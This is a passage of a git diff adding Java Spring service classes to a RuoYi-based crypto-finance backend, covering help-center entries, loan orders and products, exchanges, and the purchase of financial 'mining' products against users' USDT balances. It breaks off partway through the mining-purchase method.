b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/THelpCenterInfoServiceImpl.java @@ -0,0 +1,104 @@ +package com.ruoyi.bussiness.service.impl; + +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.ruoyi.bussiness.domain.THelpCenterInfo; +import com.ruoyi.bussiness.mapper.THelpCenterInfoMapper; +import com.ruoyi.bussiness.service.ITHelpCenterInfoService; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.SecurityUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import java.util.List; + +/** + * 帮助中心问题详情Service业务层处理 + * + * @author ruoyi + * @date 2023-08-17 + */ +@Service +public class THelpCenterInfoServiceImpl extends ServiceImpl implements ITHelpCenterInfoService +{ + @Autowired + private THelpCenterInfoMapper tHelpCenterInfoMapper; + + /** + * 查询帮助中心问题详情 + * + * @param id 帮助中心问题详情主键 + * @return 帮助中心问题详情 + */ + @Override + public THelpCenterInfo selectTHelpCenterInfoById(Long id) + { + return tHelpCenterInfoMapper.selectTHelpCenterInfoById(id); + } + + /** + * 查询帮助中心问题详情列表 + * + * @param tHelpCenterInfo 帮助中心问题详情 + * @return 帮助中心问题详情 + */ + @Override + public List selectTHelpCenterInfoList(THelpCenterInfo tHelpCenterInfo) + { + return tHelpCenterInfoMapper.selectTHelpCenterInfoList(tHelpCenterInfo); + } + + /** + * 新增帮助中心问题详情 + * + * @param tHelpCenterInfo 帮助中心问题详情 + * @return 结果 + */ + @Override + public int insertTHelpCenterInfo(THelpCenterInfo tHelpCenterInfo) + { + tHelpCenterInfo.setCreateTime(DateUtils.getNowDate()); + tHelpCenterInfo.setUpdateTime(DateUtils.getNowDate()); + tHelpCenterInfo.setCreateBy(SecurityUtils.getUsername()); + tHelpCenterInfo.setUpdateBy(SecurityUtils.getUsername()); + tHelpCenterInfo.setDelFlag("0"); + return tHelpCenterInfoMapper.insertTHelpCenterInfo(tHelpCenterInfo); + } + + /** + * 修改帮助中心问题详情 + * + * @param tHelpCenterInfo 帮助中心问题详情 + * @return 结果 + */ + @Override + public int updateTHelpCenterInfo(THelpCenterInfo tHelpCenterInfo) + { + tHelpCenterInfo.setUpdateTime(DateUtils.getNowDate()); + tHelpCenterInfo.setUpdateBy(SecurityUtils.getUsername()); + return tHelpCenterInfoMapper.updateTHelpCenterInfo(tHelpCenterInfo); + } + + /** + * 批量删除帮助中心问题详情 + * + * @param ids 需要删除的帮助中心问题详情主键 + * @return 结果 + */ + @Override + public int deleteTHelpCenterInfoByIds(Long[] ids) + { + return tHelpCenterInfoMapper.deleteTHelpCenterInfoByIds(ids); + } + + /** + * 删除帮助中心问题详情信息 + * + * @param id 帮助中心问题详情主键 + * @return 结果 + */ + @Override + public int deleteTHelpCenterInfoById(Long id) + { + return tHelpCenterInfoMapper.deleteTHelpCenterInfoById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/THelpCenterServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/THelpCenterServiceImpl.java new file mode 100644 index 0000000..465ad3c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/THelpCenterServiceImpl.java @@ -0,0 +1,109 @@ +package com.ruoyi.bussiness.service.impl; + +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.ruoyi.bussiness.domain.THelpCenter; +import com.ruoyi.bussiness.mapper.THelpCenterMapper; +import com.ruoyi.bussiness.service.ITHelpCenterService; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.SecurityUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import java.util.List; + +/** + * 帮助中心Service业务层处理 + * + * @author ruoyi + * @date 2023-08-17 + */ +@Service +public class THelpCenterServiceImpl extends ServiceImpl implements ITHelpCenterService +{ + @Autowired + private THelpCenterMapper tHelpCenterMapper; + + /** + * 查询帮助中心 + * + * @param id 帮助中心主键 + * @return 帮助中心 + */ + @Override + public THelpCenter selectTHelpCenterById(Long id) + { + return tHelpCenterMapper.selectTHelpCenterById(id); + } + + /** + * 查询帮助中心列表 + * + * @param tHelpCenter 帮助中心 + * @return 帮助中心 + */ + @Override + public List selectTHelpCenterList(THelpCenter tHelpCenter) + { + return tHelpCenterMapper.selectTHelpCenterList(tHelpCenter); + } + + /** + * 新增帮助中心 + * + * @param tHelpCenter 帮助中心 + * @return 结果 + */ + @Override + public int insertTHelpCenter(THelpCenter tHelpCenter) + { + tHelpCenter.setCreateTime(DateUtils.getNowDate()); + tHelpCenter.setDelFlag("0"); + tHelpCenter.setUpdateTime(DateUtils.getNowDate()); + tHelpCenter.setUpdateBy(SecurityUtils.getUsername()); + tHelpCenter.setCreateBy(SecurityUtils.getUsername()); + return tHelpCenterMapper.insertTHelpCenter(tHelpCenter); + } + + /** + * 修改帮助中心 + * + * @param tHelpCenter 帮助中心 + * @return 结果 + */ + @Override + public int updateTHelpCenter(THelpCenter tHelpCenter) + { + tHelpCenter.setUpdateTime(DateUtils.getNowDate()); + tHelpCenter.setUpdateBy(SecurityUtils.getUsername()); + return tHelpCenterMapper.updateTHelpCenter(tHelpCenter); + } + + /** + * 批量删除帮助中心 + * + * @param ids 需要删除的帮助中心主键 + * @return 结果 + */ + @Override + public int deleteTHelpCenterByIds(Long[] ids) + { + return tHelpCenterMapper.deleteTHelpCenterByIds(ids); + } + + /** + * 删除帮助中心信息 + * + * @param id 帮助中心主键 + * @return 结果 + */ + @Override + public int deleteTHelpCenterById(Long id) + { + return tHelpCenterMapper.deleteTHelpCenterById(id); + } + + @Override + public List getCenterList(THelpCenter tHelpCenter) { + return tHelpCenterMapper.getCenterList(tHelpCenter); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/THomeSetterServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/THomeSetterServiceImpl.java new file mode 100644 index 0000000..0990b67 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/THomeSetterServiceImpl.java @@ -0,0 +1,96 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.THomeSetterMapper; +import com.ruoyi.bussiness.domain.THomeSetter; +import com.ruoyi.bussiness.service.ITHomeSetterService; + +/** + * 规则说明Service业务层处理 + * + * @author ruoyi + * @date 2023-07-19 + */ +@Service +public class THomeSetterServiceImpl extends ServiceImpl implements ITHomeSetterService +{ + @Autowired + private THomeSetterMapper tHomeSetterMapper; + + /** + * 查询规则说明 + * + * @param id 规则说明主键 + * @return 规则说明 + */ + @Override + public THomeSetter selectTHomeSetterById(Long id) + { + return tHomeSetterMapper.selectTHomeSetterById(id); + } + + /** + * 查询规则说明列表 + * + * @param tHomeSetter 规则说明 + * @return 规则说明 + */ + @Override + public List selectTHomeSetterList(THomeSetter tHomeSetter) + { + return tHomeSetterMapper.selectTHomeSetterList(tHomeSetter); + } + + /** + * 新增规则说明 + * + * @param tHomeSetter 规则说明 + * @return 结果 + */ + @Override + public int insertTHomeSetter(THomeSetter tHomeSetter) + { + tHomeSetter.setCreateTime(DateUtils.getNowDate()); + tHomeSetter.setHomeType(1); + return tHomeSetterMapper.insertTHomeSetter(tHomeSetter); + } + + /** + * 修改规则说明 + * + * @param tHomeSetter 规则说明 + * @return 结果 + */ + @Override + public int updateTHomeSetter(THomeSetter tHomeSetter) + { + return tHomeSetterMapper.updateTHomeSetter(tHomeSetter); + } + + /** + * 批量删除规则说明 + * + * @param ids 需要删除的规则说明主键 + * @return 结果 + */ + @Override + public int deleteTHomeSetterByIds(Long[] ids) + { + return tHomeSetterMapper.deleteTHomeSetterByIds(ids); + } + + /** + * 删除规则说明信息 + * + * @param id 规则说明主键 + * @return 结果 + */ + @Override + public int deleteTHomeSetterById(Long id) + { + return tHomeSetterMapper.deleteTHomeSetterById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TLoadOrderServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TLoadOrderServiceImpl.java new file mode 100644 index 0000000..7f34187 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TLoadOrderServiceImpl.java @@ -0,0 +1,210 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.Date; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TLoadProduct; +import com.ruoyi.bussiness.mapper.*; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.utils.*; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.domain.TLoadOrder; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; + +/** + * 贷款订单Service业务层处理 + * + * @author ruoyi + * @date 2023-07-14 + */ +@Service +@Slf4j +public class TLoadOrderServiceImpl extends ServiceImpl implements ITLoadOrderService +{ + @Autowired + private TLoadOrderMapper tLoadOrderMapper; + @Resource + private TLoadProductMapper tLoadProductMapper; + @Resource + private RedisCache redisCache; + @Resource + private TAppUserMapper tAppUserMapper; + @Resource + private TAppAssetMapper assetMapper; + @Autowired + private ITAppWalletRecordService tAppWalletRecordService; + + /** + * 查询贷款订单 + * + * @param id 贷款订单主键 + * @return 贷款订单 + */ + @Override + public TLoadOrder selectTLoadOrderById(Long id) + { + return tLoadOrderMapper.selectTLoadOrderById(id); + } + + /** + * 查询贷款订单列表 + * + * @param tLoadOrder 贷款订单 + * @return 贷款订单 + */ + @Override + public List selectTLoadOrderList(TLoadOrder tLoadOrder) + { + return tLoadOrderMapper.selectTLoadOrderList(tLoadOrder); + } + + /** + * 新增贷款订单 + * + * @param tLoadOrder 贷款订单 + * @return 结果 + */ + @Override + public int insertTLoadOrder(TLoadOrder tLoadOrder) + { + tLoadOrder.setCreateTime(DateUtils.getNowDate()); + return tLoadOrderMapper.insertTLoadOrder(tLoadOrder); + } + + /** + * 修改贷款订单 + * + * @param tLoadOrder 贷款订单 + * @return 结果 + */ + @Override + public int updateTLoadOrder(TLoadOrder tLoadOrder) + { + tLoadOrder.setUpdateTime(DateUtils.getNowDate()); + return tLoadOrderMapper.updateTLoadOrder(tLoadOrder); + } + + /** + * 批量删除贷款订单 + * + * @param ids 需要删除的贷款订单主键 + * @return 结果 + */ + @Override + public int deleteTLoadOrderByIds(Long[] ids) + { + return tLoadOrderMapper.deleteTLoadOrderByIds(ids); + } + + /** + * 删除贷款订单信息 + * + * @param id 贷款订单主键 + * @return 结果 + */ + @Override + public int deleteTLoadOrderById(Long id) + { + return tLoadOrderMapper.deleteTLoadOrderById(id); + } + + @Override + @Transactional + public AjaxResult saveTLoadOrder(TLoadOrder loadOrder, TAppUser user) { + TLoadProduct tLoadProduct= tLoadProductMapper.selectTLoadProductById(loadOrder.getProId()); + loadOrder.setOrderNo("Z"+ OrderUtils.generateOrderNum()); + loadOrder.setStatus(0); + loadOrder.setCreateTime(new Date()); + loadOrder.setRate(tLoadProduct.getOdds()); + loadOrder.setInterest(loadOrder.getAmount().multiply(tLoadProduct.getOdds()).multiply(new BigDecimal(loadOrder.getCycleType()).divide(new BigDecimal(100)).setScale(2, RoundingMode.UP))); + loadOrder.setUpdateTime(new Date()); + loadOrder.setUserId(user.getUserId()); + loadOrder.setAdminParentIds(user.getAdminParentIds()); + //增加对应u.btc,eth余额 + if (redisCache.tryLock(CachePrefix.APP_LOADORDER.getPrefix() + user.getUserId(), user.getUserId(), 1000)) { + tLoadOrderMapper.insertTLoadOrder(loadOrder); + //发起提现则扣钱 + return AjaxResult.success(); + }else { + log.error("下单锁定, userId:{}, loadOrder:{}", user.getUserId(), loadOrder.getAmount()); + return AjaxResult.error(MessageUtils.message("withdraw.refresh")); + } + } + + /** + * 审核通过 + * @param tLoadOrder + * @return + */ + @Transactional + @Override + public AjaxResult passTLoadOrder(TLoadOrder tLoadOrder) { + tLoadOrder.setStatus(1); + tLoadOrder.setDisburseTime(new Date()); + Integer cycType = tLoadOrder.getCycleType(); + Date endTime = DateUtils.dateFormatDay(tLoadOrder.getDisburseTime(), cycType); +// TLoadProduct loadOrder=tLoadProductMapper.selectTLoadProductById(tLoadOrder.getProId()); + + TAppUser user = tAppUserMapper.selectById(tLoadOrder.getUserId()); + TAppAsset asset = assetMapper.selectOne(new LambdaQueryWrapper().eq(TAppAsset::getUserId,tLoadOrder.getUserId()).eq(TAppAsset::getSymbol,"usdt").eq(TAppAsset::getType,"1")); + Map map = DateUtils.getWeek(endTime); + if(tLoadOrder.getDisburseAmount().compareTo(BigDecimal.ZERO)<=0){ + return AjaxResult.error("审批金额必须大于0"); + } + if(tLoadOrder.getDisburseAmount().compareTo(tLoadOrder.getAmount())>0){ + return AjaxResult.error("审批金额不能大于申请金额"); + } + BigDecimal beforeAmount = asset.getAmout(); + //获取day和week + tLoadOrder.setFinalRepayTime(endTime); + tLoadOrder.setInterest(tLoadOrder.getDisburseAmount().multiply(tLoadOrder.getRate()).multiply(new BigDecimal(tLoadOrder.getCycleType()).divide(new BigDecimal(100)).setScale(2, RoundingMode.UP))); + tLoadOrderMapper.updateTLoadOrder(tLoadOrder); + assetMapper.updateByUserId(TAppAsset.builder().symbol("usdt").userId(tLoadOrder.getUserId()).amout(asset.getAmout().add(tLoadOrder.getDisburseAmount())).availableAmount(asset.getAvailableAmount().add(tLoadOrder.getDisburseAmount())).type(AssetEnum.PLATFORM_ASSETS.getCode()).build()); + tAppWalletRecordService.generateRecord(tLoadOrder.getUserId(), tLoadOrder.getDisburseAmount(), RecordEnum.LOAD_ORDER.getCode(), SecurityUtils.getUsername(), tLoadOrder.getOrderNo(), "贷款", beforeAmount, beforeAmount.add(tLoadOrder.getDisburseAmount()), "USDT",user.getAdminParentIds()); + user.setIsFreeze("1"); + tAppUserMapper.updateTAppUser(user); + return AjaxResult.success(); + } + + /** + * 还款 + * + * @param id + * @return + */ + @Transactional + @Override + public int repayment(Long id) { + TLoadOrder tLoadOrder = tLoadOrderMapper.selectTLoadOrderById(id); + tLoadOrder.setStatus(3); + tLoadOrder.setReturnTime(new Date()); + tLoadOrder.setUpdateTime(new Date()); + int i=tLoadOrderMapper.updateTLoadOrder(tLoadOrder); + TLoadOrder serch = new TLoadOrder(); + serch.setUserId(tLoadOrder.getUserId()); + List list = tLoadOrderMapper.selectListByUserId(serch); + if (CollectionUtils.isEmpty(list)){ + TAppUser user=tAppUserMapper.selectById(tLoadOrder.getUserId()); + user.setIsFreeze("2"); + i=tAppUserMapper.updateTAppUser(user); + } + return i; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TLoadProductServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TLoadProductServiceImpl.java new file mode 100644 index 0000000..2aaf644 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TLoadProductServiceImpl.java @@ -0,0 +1,96 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TLoadProductMapper; +import com.ruoyi.bussiness.domain.TLoadProduct; +import com.ruoyi.bussiness.service.ITLoadProductService; + +/** + * 借贷产品Service业务层处理 + * + * @author ruoyi + * @date 2023-07-13 + */ +@Service +public class TLoadProductServiceImpl extends ServiceImpl implements ITLoadProductService +{ + @Autowired + private TLoadProductMapper tLoadProductMapper; + + /** + * 查询借贷产品 + * + * @param id 借贷产品主键 + * @return 借贷产品 + */ + @Override + public TLoadProduct selectTLoadProductById(Long id) + { + return tLoadProductMapper.selectTLoadProductById(id); + } + + /** + * 查询借贷产品列表 + * + * @param tLoadProduct 借贷产品 + * @return 借贷产品 + */ + @Override + public List selectTLoadProductList(TLoadProduct tLoadProduct) + { + return tLoadProductMapper.selectTLoadProductList(tLoadProduct); + } + + /** + * 新增借贷产品 + * + * @param tLoadProduct 借贷产品 + * @return 结果 + */ + @Override + public int insertTLoadProduct(TLoadProduct tLoadProduct) + { + tLoadProduct.setCreateTime(DateUtils.getNowDate()); + return tLoadProductMapper.insertTLoadProduct(tLoadProduct); + } + + /** + * 修改借贷产品 + * + * @param tLoadProduct 借贷产品 + * @return 结果 + */ + @Override + public int updateTLoadProduct(TLoadProduct tLoadProduct) + { + tLoadProduct.setUpdateTime(DateUtils.getNowDate()); + return tLoadProductMapper.updateTLoadProduct(tLoadProduct); + } + + /** + * 批量删除借贷产品 + * + * @param ids 需要删除的借贷产品主键 + * @return 结果 + */ + @Override + public int deleteTLoadProductByIds(Long[] ids) + { + return tLoadProductMapper.deleteTLoadProductByIds(ids); + } + + /** + * 删除借贷产品信息 + * + * @param id 借贷产品主键 + * @return 结果 + */ + @Override + public int deleteTLoadProductById(Long id) + { + return tLoadProductMapper.deleteTLoadProductById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMarketsServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMarketsServiceImpl.java new file mode 100644 index 0000000..ab232a6 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMarketsServiceImpl.java @@ -0,0 +1,93 @@ +package com.ruoyi.bussiness.service.impl; + +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TMarketsMapper; +import com.ruoyi.bussiness.domain.TMarkets; +import com.ruoyi.bussiness.service.ITMarketsService; + +/** + * 支持交易所Service业务层处理 + * + * @author ruoyi + * @date 2023-06-26 + */ +@Service +public class TMarketsServiceImpl implements ITMarketsService +{ + @Autowired + private TMarketsMapper tMarketsMapper; + + /** + * 查询支持交易所 + * + * @param slug 支持交易所主键 + * @return 支持交易所 + */ + @Override + public TMarkets selectTMarketsBySlug(String slug) + { + return tMarketsMapper.selectTMarketsBySlug(slug); + } + + /** + * 查询支持交易所列表 + * + * @param tMarkets 支持交易所 + * @return 支持交易所 + */ + @Override + public List selectTMarketsList(TMarkets tMarkets) + { + return tMarketsMapper.selectTMarketsList(tMarkets); + } + + /** + * 新增支持交易所 + * + * @param tMarkets 支持交易所 + * @return 结果 + */ + @Override + public int insertTMarkets(TMarkets tMarkets) + { + return tMarketsMapper.insertTMarkets(tMarkets); + } + + /** + * 修改支持交易所 + * + * @param tMarkets 支持交易所 + * @return 结果 + */ + @Override + public int updateTMarkets(TMarkets tMarkets) + { + return tMarketsMapper.updateTMarkets(tMarkets); + } + + /** + * 批量删除支持交易所 + * + * @param slugs 需要删除的支持交易所主键 + * @return 结果 + */ + @Override + public int deleteTMarketsBySlugs(String[] slugs) + { + return tMarketsMapper.deleteTMarketsBySlugs(slugs); + } + + /** + * 删除支持交易所信息 + * + * @param slug 支持交易所主键 + * @return 结果 + */ + @Override + public int deleteTMarketsBySlug(String slug) + { + return tMarketsMapper.deleteTMarketsBySlug(slug); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineFinancialServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineFinancialServiceImpl.java new file mode 100644 index 0000000..f01bf8b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineFinancialServiceImpl.java @@ -0,0 +1,373 @@ +package com.ruoyi.bussiness.service.impl; +import cn.dev33.satoken.stp.StpUtil; +import cn.hutool.core.date.DateTime; +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.*; +import java.util.concurrent.TimeUnit; + +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.AddMosaicSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.mapper.TMineFinancialMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.*; +import com.ruoyi.common.utils.*; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; + +/** + * 【请填写功能名称】Service业务层处理 + * + * @author ruoyi + * @date 2023-07-17 + */ +@Service +@Slf4j +public class TMineFinancialServiceImpl extends ServiceImpl implements ITMineFinancialService +{ + @Resource + private TMineFinancialMapper tMineFinancialMapper; + @Resource + private ITAppUserService appUserService; + @Resource + private RedisCache redisCache; + @Resource + private ITAppAssetService tAppAssetService; + @Resource + private ITMineOrderService orderService; + @Resource + private ITMineUserService mineUserService; + @Resource + private ITAppWalletRecordService walletRecordService; + @Resource + private ITMineOrderDayService mineOrderDayService; + @Resource + private SettingService settingService; + /** + * 查询【请填写功能名称】 + * + * @param id 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + @Override + public TMineFinancial selectTMineFinancialById(Long id) + { + return tMineFinancialMapper.selectTMineFinancialById(id); + } + + /** + * 查询【请填写功能名称】列表 + * + * @param tMineFinancial 【请填写功能名称】 + * @return 【请填写功能名称】 + */ + @Override + public List selectTMineFinancialList(TMineFinancial tMineFinancial) + { + return tMineFinancialMapper.selectTMineFinancialList(tMineFinancial); + } + + /** + * 新增【请填写功能名称】 + * + * @param tMineFinancial 【请填写功能名称】 + * @return 结果 + */ + @Override + public int insertTMineFinancial(TMineFinancial tMineFinancial) + { + tMineFinancial.setCreateTime(DateUtils.getNowDate()); + return tMineFinancialMapper.insertTMineFinancial(tMineFinancial); + } + + /** + * 修改【请填写功能名称】 + * + * @param tMineFinancial 【请填写功能名称】 + * @return 结果 + */ + @Override + public int updateTMineFinancial(TMineFinancial tMineFinancial) + { + tMineFinancial.setUpdateTime(DateUtils.getNowDate()); + return tMineFinancialMapper.updateTMineFinancial(tMineFinancial); + } + + /** + * 批量删除【请填写功能名称】 + * + * @param ids 需要删除的【请填写功能名称】主键 + * @return 结果 + */ + @Override + public int deleteTMineFinancialByIds(Long[] ids) + { + return tMineFinancialMapper.deleteTMineFinancialByIds(ids); + } + + /** + * 删除【请填写功能名称】信息 + * + * @param id 【请填写功能名称】主键 + * @return 结果 + */ + @Override + public int deleteTMineFinancialById(Long id) + { + return tMineFinancialMapper.deleteTMineFinancialById(id); + } + + @Override + public String submit(Long planId, BigDecimal money, Long days) { + { + long userId = StpUtil.getLoginIdAsLong(); + TAppUser user = appUserService.selectTAppUserByUserId(userId); + TAppUserDetail tAppUserDetail = appUserService.selectUserDetailByUserId(userId); + TMineFinancial mineFinancial = tMineFinancialMapper.selectTMineFinancialById(planId); + //用户等级 + Integer level = Objects.isNull(user.getLevel()) ? 0 : user.getLevel(); + //VIP等级 + if (ClassifyEnum.VIP.getCode().equals(mineFinancial.getClassify())) { + if (level < mineFinancial.getLevel()) { + return MessageUtils.message("mine.level.error"); + } + } + // 交易限制 + Integer tradeFlag = tAppUserDetail.getTradeFlag(); + if (null != tradeFlag) { + if (1 == tradeFlag) { + if (tAppUserDetail.getTradeMessage() == null || tAppUserDetail.getTradeMessage().equals("")) { + return MessageUtils.message("user.push.message"); + } else { + return tAppUserDetail.getTradeMessage(); + } + } + } + // 1. 时间判断, 不能太频繁 + if (Boolean.FALSE.equals(redisCache.hasKey(CachePrefix.MINE_FINANCIAL.getPrefix() + user.getUserId()))) { + redisCache.setCacheObject(CachePrefix.MINE_FINANCIAL.getPrefix()+user.getUserId(), System.currentTimeMillis(), 5000, + TimeUnit.MILLISECONDS); + } else { + return MessageUtils.message("order.10s_retry"); + } + //资产 + TAppAsset tAppAsset = tAppAssetService.getAssetByUserIdAndType(user.getUserId(), AssetEnum.FINANCIAL_ASSETS.getCode()); + // 2. 金额判断 + if (Objects.isNull(tAppAsset)) { + return MessageUtils.message("order.amount_error"); + } + if (tAppAsset.getAvailableAmount().compareTo(money) < 0) { + log.debug("钱包金额不足,无法下单, userId:{}, money:{}, wallet:{}", user.getUserId().toString(), money.toPlainString(), tAppAsset.getAvailableAmount().toPlainString()); + return MessageUtils.message("order.amount_error"); + } + // 单个用户单笔下注最小金额 和最大金额 + if (null != mineFinancial.getLimitMin()) { + if (money.compareTo(mineFinancial.getLimitMin()) < 0) { + return MessageUtils.message("order.single.min", mineFinancial.getLimitMin()); + } + } + if (null != mineFinancial.getLimitMax()) { + if (mineFinancial.getLimitMax().compareTo(money) < 0) { + return MessageUtils.message("order.single.max", mineFinancial.getLimitMax()); + } + } + //剩余金额 + if(mineFinancial.getRemainAmount().compareTo(money)<0){ + return MessageUtils.message("order.buy.insufficient", mineFinancial.getRemainAmount()); + } + + if (mineFinancial.getStatus() == 0) { + log.error("此用户异常,已下架,不可下注, userId:{}, 挖矿id:{},挖矿名称:{}", user.getUserId(), mineFinancial.getId(), + mineFinancial.getTitle()); + return MessageUtils.message("product.removed"); + } + TMineOrder order = new TMineOrder(); + order.setAdress(user.getAddress()); + order.setPlanId(planId); + //购买次数 + int count = orderService.count(new LambdaQueryWrapper().eq(TMineOrder::getUserId,userId).eq(TMineOrder::getPlanId,planId)); + //用户购买次数限制 + if(null == mineFinancial.getTimeLimit()){ + TMineUser result = mineUserService.getOne(new LambdaQueryWrapper().eq(TMineUser::getUserId,userId).eq(TMineUser::getId,planId)); + if (Objects.nonNull(result)) { + mineFinancial.setTimeLimit(result.getTimeLimit()); + } + } + if (count >= mineFinancial.getTimeLimit()) { + log.error("此用户已到达限制次数,不允许购买, userId:{}, 挖矿id:{},挖矿名称:{}", user.getUserId(), mineFinancial.getId(), + mineFinancial.getTitle()); + return MessageUtils.message("financial.count.max"); + } + Date now = new DateTime(); + if (Objects.isNull(days)) { + return MessageUtils.message("days.not.null"); + } + String day = mineFinancial.getDays(); + if (!day.contains(days.toString())) { + return MessageUtils.message("days.not.error"); + } + // 下单 + String serialId = "E" + OrderUtils.generateOrderNum(); + Date endTime = DateUtils.dateFormatDay(now, days.intValue()); + //当日利率从接口获取,现在取最小利率 + TMineOrder mineOrder = new TMineOrder(); + mineOrder.setOrderNo(serialId); + mineOrder.setAdress(user.getAddress()); + mineOrder.setPlanId(mineFinancial.getId()); + mineOrder.setCreateTime(new Date()); + mineOrder.setDays(days); + mineOrder.setAmount(money); + mineOrder.setAccumulaEarn(BigDecimal.ZERO); + mineOrder.setEndTime(endTime); + mineOrder.setPlanTitle(mineFinancial.getTitle()); + mineOrder.setMinOdds(mineFinancial.getMinOdds()); + mineOrder.setMaxOdds(mineFinancial.getMaxOdds()); + mineOrder.setDefaultOdds(mineFinancial.getDefaultOdds()); + mineOrder.setAdminUserIds(user.getAdminParentIds()); + mineOrder.setUserId(user.getUserId()); + mineOrder.setType(0L); + mineOrder.setStatus(0L); + mineOrder.setCoin(mineFinancial.getCoin()); + mineOrder.setAvgRate(mineFinancial.getAvgRate()); + mineFinancial.setPurchasedAmount(mineFinancial.getPurchasedAmount().add(money)); + //剩余金额 + mineFinancial.setRemainAmount(mineFinancial.getRemainAmount().subtract(money)); + BigDecimal bigDecimal=mineFinancial.getTotalInvestAmount().subtract(mineFinancial.getRemainAmount()); + mineFinancial.setProcess(bigDecimal.divide(mineFinancial.getTotalInvestAmount(),4, RoundingMode.HALF_UP).multiply(new BigDecimal(100))); + if (redisCache.tryLock(CachePrefix.MINE_FINANCIAL_ORDER.getPrefix() + user.getUserId(), user.getUserId(), 1000)) { + // 先扣钱,再下单 + BigDecimal amout = tAppAsset.getAmout(); + BigDecimal availableAmount = tAppAsset.getAvailableAmount(); + tAppAsset.setAvailableAmount(availableAmount.subtract(money)); + tAppAsset.setAmout(amout.subtract(money)); + tAppAssetService.updateTAppAsset(tAppAsset); + //账变记录 + walletRecordService.generateRecord(user.getUserId(), money, RecordEnum.FINANCIAL_PURCHASE.getCode(), user.getLoginName(), serialId, RecordEnum.FINANCIAL_PURCHASE.getInfo(), availableAmount, availableAmount.subtract(money), tAppAsset.getSymbol(),user.getAdminParentIds()); + //添加订单 + orderService.insertTMineOrder(mineOrder); + //修改产品 + this.updateTMineFinancial(mineFinancial); + //当日收益保存 + log.debug("理财购买提交成功, userId:{}, planId:{},理财产品名字:{} money:{}", user.getUserId(), planId, mineFinancial.getTitle(), money); + //升级vip 和 增加团队金额 操作 + appUserService.toBuilderTeamAmount(mineOrder); + + //理财打码 + Setting setting = settingService.get(SettingEnum.ADD_MOSAIC_SETTING.name()); + if (Objects.nonNull(setting)){ + AddMosaicSetting addMosaic = JSONUtil.toBean(setting.getSettingValue(), AddMosaicSetting.class); + if (Objects.nonNull(addMosaic) && Objects.nonNull(addMosaic.getIsOpen()) && 